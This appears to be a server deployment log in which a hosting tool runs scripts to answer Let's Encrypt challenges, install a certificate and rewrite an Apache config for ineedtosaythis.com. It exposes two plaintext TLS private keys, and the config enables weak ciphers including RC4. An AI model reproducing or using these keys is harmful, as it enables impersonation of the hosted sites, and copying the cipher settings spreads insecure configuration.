elZGUyt0nQcLh8CqxbZyDgFvXfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/
x55B85qD4mhYVmyjCVwsbeRQ0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d9
1ZwOm4mmET3+X7TmZkIsv6IzVhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThP
n+W/TB18RrjQaai3tQ+DBbv6aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd
1zxtCBPLEA/Xmqz6tqgZ5RyeIb44MNntAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLwQtA19Fa8BNX27RoxxduFh/sKEMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZhJzw
zwAABAMARzBFAiAwtKtRjFqxKgWQc03RYnYgQymrtH1UiTKA8tpt3ihPygIhAJDf
IcyS+7iP1uCMec5f34d1r/nIdUQ/LEzAlSxJaO8yAHcAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGZhJzw1AAABAMASDBGAiEAr0rIn9FToQX0aKGt
D8HLuZLxcLnDBy0mWy6JzfpObkACIQDM1PWSN7uuCeXD1CRdKygIMq2DFKNWnd+e
u3IWl4xwFzANBgkqhkiG9w0BAQsFAAOCAQEAmMdkzr+YYxeWK/IU/J7trOK0cf1G
WVjwaBF5Fjmde34UCfSPobX5VsYSYp76uEbMPmHcsWMoywEsseEO2mR37KHmAJ4i
uzaltCjW3eojUW4+sFex8DDPFYdTj02XI+619xnbtLxNWuR9PdyAC4/Qc9u9pPQw
iUUuiFZ4HaQZQH4fnucXRAtw2kvUxnhvPWkqTJBELZzshg7y+WgYRFNkq2WanHlo
fl7/5aDgP431M9XfDbGoV7E3tMCtVDHm4AWtd9oKM1Eq/OnNWX+KAvBV4T0zlC+S
f+pxtXLAnfIBAPp6RdaYFEQx04dZ6pL+xXezy1tMhZ3RJjDL7U32pu3dCw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC4lXjUDepryOMc
atxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoYelZGUyt0nQcLh8CqxbZyDgFv
XfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/x55B85qD4mhYVmyjCVwsbeRQ
0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d91ZwOm4mmET3+X7TmZkIsv6Iz
VhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThPn+W/TB18RrjQaai3tQ+DBbv6
aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd1zxtCBPLEA/Xmqz6tqgZ5Rye
Ib44MNntAgMBAAECggEBAKs5rN45Em5t6Y+g6Uge56wNYXUj/PClNCD8LjZRETni
Xgr9Or3TjZDLW2DdIgCI8dIWWfmQcpAWweoHJrj+6uOMXmAah4ciQFfYki17KKT3
9MxaAhoqSEaR7BKN4ZXZ3qWjdh8/PYvRXOxDPn6msdHqAI/pS41MuoGKbkSrqF7x
c6j+iokO+OjnsijzyVfkbrc471VXGf9G6wj8RXCOmxMnEaPN9xJjBww26ylS8+DN
Gw2XeHSN7MA7GtpQEiF74dS1A47wJigRvQ6A6R7v8ORi9DWWGiba6HDDmo16S/Ex
WHDueOC1gHMOpTS276BlzoRucY6l3MHFTHHKFN5oLIECgYEA3K3eADUc3qbtC0bM
6ZWKhcI9uTDbnQ+MDGEpTUFCMnf/uxnUkOJ2WLnFZ4Ump7iuoDOm0LSiKyVJ/pOz
aBogdO15+GHyl3Tfl4xvQqV2nOezF1bsB7t6qaCpRJZ919Ahl0CofzN2//SWr48o
m4PPtdGXV4kZWvpGT3a91pc9lTECgYEA1iCh2K41ZZtFQr+/Y4mvNaNgypMgwEGW
rymwjPKlhHB459Z/Cpibw67dA4gHpetodn0ULSWFPTp49XB995keelKzFXTuJg8T
amxAeqlp3amP6giNoImuoFNQfscUU1rEFLX2txnUMd1nfe/4kMwXlfx+A/DN324W
NuCrYxDy0X0CgYAxujw8b7uBsLvZvqqOOFRur8aY5JmYWtiEMaDM99ei58eIsdlk
jKN+et4w5aBASy2OjBUbEpk4f76cz0uuObT2pEzH28p+tqdrzwmDSyXfVZbVu5CU
bXrGnp2GByN0bkIjgz5063P1WXhbNzc/VASKRCCGaS59gcg2P9unb41BAQKBgQCS
v+yL5uDbkO2H0IgnfK4isaTdULYqbQkLZSQFhSqguMB0C1In/e0K0GXSTMEJGmwO
gKx6QHOvQcqyU3VRYpQ7uz/W3bt1Q/HHhwctybuvWc0y1MfTlWijolXRfTjV46fs
lcTPOhluT1HlQrh07BriBRiMNNWzYexBkfqDu5LetQKBgERJY+29pttLDldwLRuj
+kKmB3E27oZhDAHTkwJ1tAaGuTo9YSXpEAyFPbO0frmCO5KVwhoFKuyqeMURkawa
pLdwCNDKpaqqw42oaiT0V1nXJPHTxqcwqyLnRY53FYNCqSAITIZeVGjOy3qvtzrf
w+F7pbNr6zsD7r2xAxWcZf5V
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-26 06:01:43: Establishing a connection
2025-09-26 06:01:44: Establishing a connection
2025-09-26 06:01:44:
PUT: /tmp/pkp482207
#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:01:45:
chmod 755 /tmp/pkp482207; /tmp/pkp482207; rm /tmp/pkp482207
2025-09-26 06:01:45:
1
2025-09-26 06:01:45: Establishing a connection
2025-09-26 06:01:45:
PUT: /tmp/pkp265880
#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8
cat > 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA
2025-09-26 06:01:45:
chmod 755 /tmp/pkp265880; /tmp/pkp265880; rm /tmp/pkp265880
2025-09-26 06:01:45:
2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54:
PUT: /tmp/pkp905029
#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8
rm 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA
2025-09-26 06:01:54:
chmod 755 /tmp/pkp905029; /tmp/pkp905029; rm /tmp/pkp905029
2025-09-26 06:01:54:
2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54:
PUT: /tmp/pkp474415
#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt
cat > $temp_file <<'endmsg'
eb:bf:4b:6e:08:fc:10:43:86:98:6a:7d:9c:5a:31:56
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBVgSF91c9kxCHRK1nHSIbmCJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzIzWhcNMjUxMjI1MDUwMzIyWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCw+1+bOVIwTxb/1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97
wISb4mM1dYTBYPeBzN2mtRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+
mqaj9DAk2lzosADxTQ/GqzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8uj
R42IyWJOGxVrpnRGemmK7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U
7ACmkxhDrM+YJDak7jrYEreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZG
vqNEoW1V9hMyAIFStq4LjJW0j1QfAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFnBJhMqaM97Ndy+xCQawj5+4EpfMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTAuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZhJ0eOwAABAMASDBGAiEA3ZFQNuEP/XnBLGqaWnJeUTFy
KFn/RcEZHFGbHhTOKncCIQCrImjqJ0bILL3NRLW0Oi4ZX6cgoTgIG7T4AOXHrchw
rwB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmYSdHp0AAAQD
AEcwRQIgRPKnfQuOZZDS4SRW63GzCJaaGsOHQj356AozfvnmpC0CIQD63CuRPzX1
t3E8t/wK7u9IsITWjrL+UdLAZ+Rtm9OmODANBgkqhkiG9w0BAQsFAAOCAQEAtTVs
G/hS/07RDbevyorhMCxPk3sNogKDwZj+Y9xWN7pbHPiW776tHdbq1p/wCFH5q7GJ
KzNWIzg3bnC9SYjVZ4Vpxm+dy3/B0yTpoDsWN1HjLfcUrh4ItQSELNNwEUTnQRJx
CnJo6c4Cv4UFViZFfHskeW9TIpxaLTa5RWx+ZcxJBzDql0PExid+3mct74iguoQY
88D0cNGNXG9wKWhBIk8GG4eQqF3DWAbPeEAppLrKT78kwbwm/qtI61P1Tr41kqTT
vhhOvheExpdPTWC5O7S5KQrbNjwv2XQlg/dCUPG2MSUfF2oDcST+G0QOWXXxPrNJ
OmkP0Q+p3ppqvRjquw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCw+1+bOVIwTxb/
1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97wISb4mM1dYTBYPeBzN2m
tRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+mqaj9DAk2lzosADxTQ/G
qzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8ujR42IyWJOGxVrpnRGemmK
7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U7ACmkxhDrM+YJDak7jrY
EreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZGvqNEoW1V9hMyAIFStq4L
jJW0j1QfAgMBAAECggEABF3faQQMDBcXeS58U747BijRUdyF8ReYMeNadOQg9/nQ
v85tMTtw4j4z0ljYrMP0MLB6mw7abIByg5d6LpJMsEGBrJ86fwvadMAvzWQZTGaL
9Lwv9rRjntI5E4xbSjZPLcmZe0BEda+yEPPOctuPl//l5DfDYAH8YcsVHZEnjDUy
bBziA/mbKUcz74XjS1yAj3fUOQeduSPCAgRaUmXzdq9fkIJR6BJTe1rWKGX+XHpZ
M2HS43mK2DwBLhnfcHm/dsNC4fUEx2e1YlNF97MStqJYnb+8g31zDpfz2FMeiuG0
OHtr7lIIGUjT8aKfZvFD66q95QtlsxK60bFclPHaAQKBgQDidZ7YrpUtvAEkb7x0
vomEvq9gp4hMAH50Dt5w0NHdLHb9qhboChXPdpMsHuVLCuSajeTB3CmSql2e+SJV
9m49teZpHDH8cyAfWDs4IcIiHIaBsGVAaAOtFO2uAezqiwPXd0NhYCagMXD5Zcgn
BaAi9EXY2gS+R7ElNbz5PqlHHwKBgQDIEYCHLnMWT0RQVAbFojotrH1UDmT26reK
0GIS805ZN28hJ0SAYEwkWn8iMA1ZWIZuEU6MhfYkF6uvIEqcOdnSFQWgE8nl5wB8
YnLrZ0JdDcP49YrZdGBYUPgTRzT1rsq7X7Bj+R1m66SJTXqswp6uIfCTCRhMtIMY
/vHsNElTAQKBgQDMt8GyZhiLsJJjyvLVos2UiADo4mpvMl8eMbbay5t8Us76v4FX
oI5Y7vtafk+QCDfik/VBXvLiGErsBJIKnezIsqCpUojJi5V1YICgXLwvtBPQN5NA
pwbzt6CplioDWUpOxQzPgWlJlYhonJ9Uz1wVXTerMmPpU8wLNEoyE3hZxwKBgQCI
D68TQDmwoHPbFWoNmkhqq3YIZkmvyuzMEO/B54oPDq4bI/NoQxVFW+4+N+O8MYIq
9MYwtyIwZZCy5wkWuhky0G0k8pBKNBGWhfWVtoHheu0eMQ8e2BB1v4sWwUR5GUhy
qZ7yPocKaZNadUDKoQj9b8OGm5bVA6Zsp2Wrt9tuAQKBgFByBcdBVSPFn+9IKy4s
+FBA9jqeNT1Kz6zjKJyXKEFrCLkUWuGhkp6ys0qhedpmMXwUuXmBZ+xSOwEWkw2i
Gmtd9Q4L5f6MTPCjS4jhSMMjGHqGMf+HqNa+voIMjoU16FAaO8PZnreU/gC7ZJgq
myrN3BReDhKfGkyxpY+FfHmP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:01:54:
chmod 755 /tmp/pkp474415; /tmp/pkp474415; rm /tmp/pkp474415
2025-09-26 06:01:54:
dir=/etc/ssl/certs
2025-09-26 06:01:54:
PUT: /tmp/pkp126766
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:01:54:
chmod 755 /tmp/pkp126766; /tmp/pkp126766; rm /tmp/pkp126766
2025-09-26 06:01:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:54:
PUT: /tmp/pkp793642
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi
2025-09-26 06:01:54:
chmod 755 /tmp/pkp793642; /tmp/pkp793642; rm /tmp/pkp793642
2025-09-26 06:01:54:
2025-09-26 06:01:54:
PUT: /tmp/pkp530411
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:01:54:
chmod 755 /tmp/pkp530411; /tmp/pkp530411; rm /tmp/pkp530411
2025-09-26 06:01:54:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54:
PUT: /tmp/pkp668912
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:01:54:
chmod 755 /tmp/pkp668912; /tmp/pkp668912; rm /tmp/pkp668912
2025-09-26 06:01:55:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
